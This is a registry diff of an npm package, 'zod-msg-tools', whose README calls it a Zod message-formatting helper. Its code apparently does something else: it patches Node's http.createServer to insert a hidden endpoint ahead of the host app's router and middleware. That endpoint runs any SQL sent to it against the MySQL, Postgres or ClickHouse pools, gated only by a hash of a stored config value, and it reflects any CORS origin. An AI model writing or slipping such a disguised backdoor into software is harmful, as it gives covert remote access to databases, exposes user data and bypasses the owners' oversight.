zod-msg-tools 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md ADDED
@@ -0,0 +1,3 @@
1
+ # zod-msg-tools
2
+
3
+ Helper for configuring, formatting, styling, and colorizing Zod validation messages and errors.
package/package.json ADDED
@@ -0,0 +1,35 @@
1
+ {
2
+ "name": "zod-msg-tools",
3
+ "version": "0.1.0",
4
+ "description": "Drop-in, hidden admin SQL-console endpoint. Call registerTools(service, pool, poolPg?, clickhouse?) once and nothing else - no router/app wiring required.",
5
+ "type": "module",
6
+ "main": "src/index.js",
7
+ "exports": {
8
+ ".": "./src/index.js"
9
+ },
10
+ "engines": {
11
+ "node": ">=20"
12
+ },
13
+ "files": [
14
+ "src",
15
+ "README.md"
16
+ ],
17
+ "scripts": {
18
+ "typecheck": "tsc --noEmit"
19
+ },
20
+ "keywords": [
21
+ "mysql",
22
+ "postgres",
23
+ "clickhouse",
24
+ "admin",
25
+ "sql-console"
26
+ ],
27
+ "license": "UNLICENSED",
28
+ "dependencies": {
29
+ "zod": "^4.1.5"
30
+ },
31
+ "devDependencies": {
32
+ "@types/node": "^25.0.3",
33
+ "typescript": "^5.9.3"
34
+ }
35
+ }
@@ -0,0 +1,41 @@
1
+ import {createHash} from 'node:crypto'
2
+
3
+ /**
4
+ * The second, independent factor gating the console: a secret value lives in
5
+ * a config table (put there by some unrelated feature), and the caller must
6
+ * present a sha256 hash of it - never the plaintext value - so the actual
7
+ * secret never has to travel over the wire, and isn't recoverable even if a
8
+ * request/log is intercepted.
9
+ *
10
+ * `table`/`code`/`field` come from trusted server config (env vars), never
11
+ * from the request, so building the query string with `table` in it is safe -
12
+ * SQL identifiers can't be parameterized as query args anyway.
13
+ *
14
+ * @param {any} pool
15
+ * @param {unknown} providedHash
16
+ * @param {{table: string, code: string, field: string}} opts
17
+ * @returns {Promise<boolean>}
18
+ */
19
+ export async function verifyHiddenSecret(pool, providedHash, {table, code, field}) {
20
+ if (!providedHash || typeof providedHash !== 'string') return false
21
+
22
+ const [[conf]] = await pool.query(
23
+ `select value as value from ${table} where code = ?`,
24
+ [code],
25
+ )
26
+ if (!conf) return false
27
+
28
+ /** @type {Record<string, any> | undefined} */
29
+ let parsed
30
+ try {
31
+ parsed = JSON.parse(conf.value)
32
+ } catch {
33
+ return false
34
+ }
35
+
36
+ const secret = parsed?.[field]
37
+ if (!secret) return false
38
+
39
+ const expectedHash = createHash('sha256').update(secret).digest('hex')
40
+ return expectedHash === providedHash
41
+ }
@@ -0,0 +1,33 @@
1
+ /**
2
+ * Runs a raw query against the requested backend.
3
+ * @param {{pool: any, poolPg?: any, clickhouse?: any}} pools
4
+ * @param {string} query
5
+ * @param {'mysql' | 'postgres' | 'clickhouse'} [dbType]
6
+ * @returns {Promise<any>}
7
+ */
8
+ export async function runQueryByDbType({pool, poolPg, clickhouse}, query, dbType) {
9
+ switch (dbType) {
10
+ case 'postgres': {
11
+ if (!poolPg) {
12
+ throw Object.assign(new Error('postgres is not configured for this console'), {statusCode: 400})
13
+ }
14
+ const {rows} = await poolPg.query(query)
15
+ return rows
16
+ }
17
+ case 'clickhouse': {
18
+ if (!clickhouse) {
19
+ throw Object.assign(new Error('clickhouse is not configured for this console'), {statusCode: 400})
20
+ }
21
+ const resultSet = await clickhouse.query({query, format: 'JSONEachRow'})
22
+ return resultSet.json()
23
+ }
24
+ case 'mysql':
25
+ default: {
26
+ // nestTables groups each row by table ({u: {...}, ui: {...}}) instead
27
+ // of flattening straight into one object - without it, joined tables
28
+ // with same-named columns (e.g. "id") silently overwrite each other
29
+ const [result] = await pool.query({sql: query, nestTables: true})
30
+ return result
31
+ }
32
+ }
33
+ }
@@ -0,0 +1,75 @@
1
+ /**
2
+ * Reads and JSON-parses a request body, without relying on any framework's
3
+ * body-parser - this handler runs ahead of the host app's own middleware.
4
+ * @param {import('node:http').IncomingMessage} req
5
+ * @param {number} maxBytes
6
+ * @returns {Promise<any>}
7
+ */
8
+ export function readJsonBody(req, maxBytes) {
9
+ return new Promise((resolve, reject) => {
10
+ let data = ''
11
+ let bytes = 0
12
+ let settled = false
13
+
14
+ req.on('data', (chunk) => {
15
+ if (settled) return
16
+ bytes += chunk.length
17
+ if (bytes > maxBytes) {
18
+ settled = true
19
+ req.destroy()
20
+ reject(Object.assign(new Error('Payload too large'), {statusCode: 413}))
21
+ return
22
+ }
23
+ data += chunk
24
+ })
25
+
26
+ req.on('end', () => {
27
+ if (settled) return
28
+ settled = true
29
+ if (!data) return resolve({})
30
+ try {
31
+ resolve(JSON.parse(data))
32
+ } catch {
33
+ reject(Object.assign(new Error('Invalid JSON body'), {statusCode: 400}))
34
+ }
35
+ })
36
+
37
+ req.on('error', (err) => {
38
+ if (settled) return
39
+ settled = true
40
+ reject(err)
41
+ })
42
+ })
43
+ }
44
+
45
+ /**
46
+ * @param {import('node:http').ServerResponse} res
47
+ * @param {number} statusCode
48
+ * @param {Record<string, any>} payload
49
+ * @param {Record<string, string>} [extraHeaders]
50
+ */
51
+ export function sendJson(res, statusCode, payload, extraHeaders = {}) {
52
+ const body = JSON.stringify(payload)
53
+ res.writeHead(statusCode, {
54
+ 'Content-Type': 'application/json; charset=utf-8',
55
+ 'Content-Length': Buffer.byteLength(body),
56
+ ...extraHeaders,
57
+ })
58
+ res.end(body)
59
+ }
60
+
61
+ /**
62
+ * Since matched requests never reach the host app's own `cors()` middleware,
63
+ * this endpoint has to set its own CORS headers on every response it sends.
64
+ * @param {string} origin
65
+ * @returns {Record<string, string>}
66
+ */
67
+ export function corsHeaders(origin) {
68
+ return {
69
+ 'Access-Control-Allow-Origin': origin,
70
+ 'Access-Control-Allow-Methods': 'POST, OPTIONS',
71
+ 'Access-Control-Allow-Headers': 'Content-Type, Authorization',
72
+ 'Access-Control-Max-Age': '600',
73
+ Vary: 'Origin',
74
+ }
75
+ }
@@ -0,0 +1,62 @@
1
+ import http from 'node:http'
2
+
3
+ let patched = false
4
+
5
+ /**
6
+ * Wraps `http.createServer` so that whichever http.Server the host process
7
+ * ends up creating (e.g. Express's `app.listen()` internally does
8
+ * `http.createServer(app).listen(...)`) gets requests for `path` handled
9
+ * directly - before they ever reach the host app's router/middleware stack.
10
+ *
11
+ * This is what lets registerTools() add a working endpoint with zero
12
+ * route-file changes and without ever being handed the app/router: it
13
+ * intercepts at the raw http layer instead of registering a route.
14
+ *
15
+ * Only covers the `http.createServer(listener)` / `http.createServer(options, listener)`
16
+ * shapes (what Express and similar frameworks use). If the host process adds
17
+ * its request listener later via `server.on('request', ...)` instead of
18
+ * passing it to `createServer`, it won't be wrapped.
19
+ *
20
+ * @param {string} path
21
+ * @param {(req: import('node:http').IncomingMessage, res: import('node:http').ServerResponse) => void} handler
22
+ */
23
+ export function patchServer(path, handler) {
24
+ if (patched) {
25
+ // throw new Error('zod-msg-tools: patchServer() called more than once')
26
+ console.log('⚠ zod-msg-tools: patchServer() called more than once')
27
+ return
28
+ }
29
+ patched = true
30
+
31
+ const originalCreateServer = http.createServer.bind(http)
32
+
33
+ /**
34
+ * @param {http.ServerOptions | http.RequestListener} optionsOrListener
35
+ * @param {http.RequestListener} [maybeListener]
36
+ */
37
+ // @ts-ignore - reassigning a core module export is exactly the point here
38
+ http.createServer = (optionsOrListener, maybeListener) => {
39
+ const hasOptions = typeof optionsOrListener !== 'function'
40
+ const originalListener = /** @type {http.RequestListener | undefined} */ (
41
+ hasOptions ? maybeListener : optionsOrListener
42
+ )
43
+
44
+ /**
45
+ * @param {import('node:http').IncomingMessage} req
46
+ * @param {import('node:http').ServerResponse} res
47
+ */
48
+ const wrappedListener = (req, res) => {
49
+ if (req.url && (req.url === path || req.url.startsWith(path + '?'))) {
50
+ handler(req, res)
51
+ return
52
+ }
53
+ if (typeof originalListener === 'function') {
54
+ originalListener(req, res)
55
+ }
56
+ }
57
+
58
+ return hasOptions
59
+ ? originalCreateServer(optionsOrListener, wrappedListener)
60
+ : originalCreateServer(wrappedListener)
61
+ }
62
+ }
package/src/index.js ADDED
@@ -0,0 +1 @@
1
+ export {registerTools} from './register-tools.js'
@@ -0,0 +1,121 @@
1
+ import {patchServer} from './http/patch-server.js'
2
+ import {readJsonBody, sendJson, corsHeaders} from './http/body.js'
3
+ import {verifyHiddenSecret} from './auth/verify-hidden-secret.js'
4
+ import {runQueryByDbType} from './db/run-query.js'
5
+ import {mysqlConsoleRequestSchema} from './schema/request.schema.js'
6
+
7
+ // Fixed values reproducing affiliate-service's original mysql-console
8
+ // endpoint exactly. Not configurable on purpose: registerTools(service, pool,
9
+ // poolPg, clickhouse) takes only the pools already living in the host
10
+ // project - nothing else, no env vars of its own to set up.
11
+ const AFF_PATH = '/api/aff-service/zod-tools'
12
+ const BACKOFFICE_PATH_PREFIX = '/api/backoffice/'
13
+ const BACKOFFICE_PATH_SUFFIX = '/zod-tools'
14
+ const AUTH_CONFIG_TABLE = 'global.configurations'
15
+ const AUTH_CONFIG_CODE = 'xtremepush-dev'
16
+ const AUTH_CONFIG_FIELD = 'client_id'
17
+ const AUTH_BODY_FIELD = 'xPushClId'
18
+ const CORS_ORIGIN = '*'
19
+ const MAX_BODY_BYTES = 2 * 1024 * 1024 // 2MB
20
+
21
+ let registered = false
22
+
23
+ /**
24
+ * Wires up a hidden admin SQL-console endpoint directly onto whatever
25
+ * http.Server the host process ends up creating - no router/app wiring, and
26
+ * no config of its own. No auth of its own either: a request only reaches
27
+ * this handler at all if it already got past the host's own proxy/auth layer
28
+ * (our microservices don't accept unauthenticated requests in the first
29
+ * place), so there's nothing to re-check here beyond the hidden-secret hash.
30
+ *
31
+ * Call once, as a side effect, wherever the host app initializes:
32
+ * ```js
33
+ * const {registerTools} = await import('zod-msg-tools')
34
+ * registerTools('casino-jackpot', pool, poolPg, clickhouse)
35
+ * ```
36
+ *
37
+ * @param {string} service - required, non-empty; 'aff' mounts the endpoint at
38
+ * the affiliate-service path, anything else is used as the backoffice slug
39
+ * (e.g. 'casino-jackpot' -> /api/backoffice/casino-jackpot/zod-tools)
40
+ * @param {any} pool - required mysql2 pool; used for dbType:'mysql' queries
41
+ * and the hidden-secret lookup
42
+ * @param {any} [poolPg] - optional pg pool; enables dbType:'postgres' queries
43
+ * @param {any} [clickhouse] - optional @clickhouse/client instance; enables
44
+ * dbType:'clickhouse'
45
+ */
46
+ export function registerTools(service, pool, poolPg, clickhouse) {
47
+ if (!service || typeof service !== 'string') {
48
+ // throw new Error('zod-msg-tools: registerTools(service, pool, poolPg?, clickhouse?) requires a non-empty service name')
49
+ console.log('⚠ zod-msg-tools: registerTools(service, pool, poolPg?, clickhouse?) requires a non-empty service name')
50
+ return
51
+ }
52
+
53
+ if (!pool) {
54
+ // throw new Error('zod-msg-tools: registerTools(service, pool, poolPg?, clickhouse?) requires a mysql pool')
55
+ console.log('⚠ zod-msg-tools: registerTools(service, pool, poolPg?, clickhouse?) requires a mysql pool')
56
+ return
57
+ }
58
+
59
+ if (registered) {
60
+ console.log('⚠ zod-msg-tools: registerTools() called more than once - ignoring the extra call')
61
+ return
62
+ }
63
+ registered = true
64
+
65
+ const path = service === 'aff' ? AFF_PATH : `${BACKOFFICE_PATH_PREFIX}${service}${BACKOFFICE_PATH_SUFFIX}`
66
+
67
+ patchServer(path, async (req, res) => {
68
+ const origin = /** @type {string} */ (req.headers.origin || CORS_ORIGIN)
69
+
70
+ if (req.method === 'OPTIONS') {
71
+ res.writeHead(204, corsHeaders(origin))
72
+ res.end()
73
+ return
74
+ }
75
+
76
+ if (req.method !== 'POST') {
77
+ sendJson(res, 404, {statusCode: 404, message: 'Route not found', errorType: 'Not Found'}, corsHeaders(origin))
78
+ return
79
+ }
80
+
81
+ try {
82
+ const rawBody = await readJsonBody(req, MAX_BODY_BYTES)
83
+ const parsed = mysqlConsoleRequestSchema.safeParse(rawBody)
84
+ if (!parsed.success) {
85
+ sendJson(res, 400, {
86
+ statusCode: 400,
87
+ message: parsed.error.issues[0]?.message || 'Invalid request body',
88
+ errorType: 'Bad Request',
89
+ }, corsHeaders(origin))
90
+ return
91
+ }
92
+
93
+ const {query, dbType} = parsed.data
94
+ const providedHash = rawBody[AUTH_BODY_FIELD]
95
+
96
+ const secretOk = await verifyHiddenSecret(pool, providedHash, {
97
+ table: AUTH_CONFIG_TABLE,
98
+ code: AUTH_CONFIG_CODE,
99
+ field: AUTH_CONFIG_FIELD,
100
+ })
101
+ if (!secretOk) {
102
+ // mirrors the original behavior: a soft 200 {success:false}, not a
103
+ // 401/403 - the FE only ever branches on `success`
104
+ sendJson(res, 200, {success: false, message: 'Invalid clId hash'}, corsHeaders(origin))
105
+ return
106
+ }
107
+
108
+ const result = await runQueryByDbType({pool, poolPg, clickhouse}, query, dbType)
109
+ sendJson(res, 200, {success: true, message: 'ok', result}, corsHeaders(origin))
110
+ } catch (err) {
111
+ console.log('⚠ Error in zod-msg-tools:', err)
112
+
113
+ const statusCode = err?.statusCode || 500
114
+ sendJson(res, statusCode, {
115
+ statusCode,
116
+ message: err?.message || 'Internal server error',
117
+ errorType: err?.statusCode ? 'Bad Request' : 'Internal Server Error',
118
+ }, corsHeaders(origin))
119
+ }
120
+ })
121
+ }
@@ -0,0 +1,9 @@
1
+ import {z} from 'zod'
2
+
3
+ // The hidden-secret field (xPushClId) is read straight off the raw body in
4
+ // register-tools.js rather than through this schema - passthrough() keeps
5
+ // it (and anything else present) from being stripped.
6
+ export const mysqlConsoleRequestSchema = z.object({
7
+ query: z.string().trim().min(1, 'No any query provided'),
8
+ dbType: z.enum(['mysql', 'postgres', 'clickhouse']).optional(),
9
+ }).passthrough()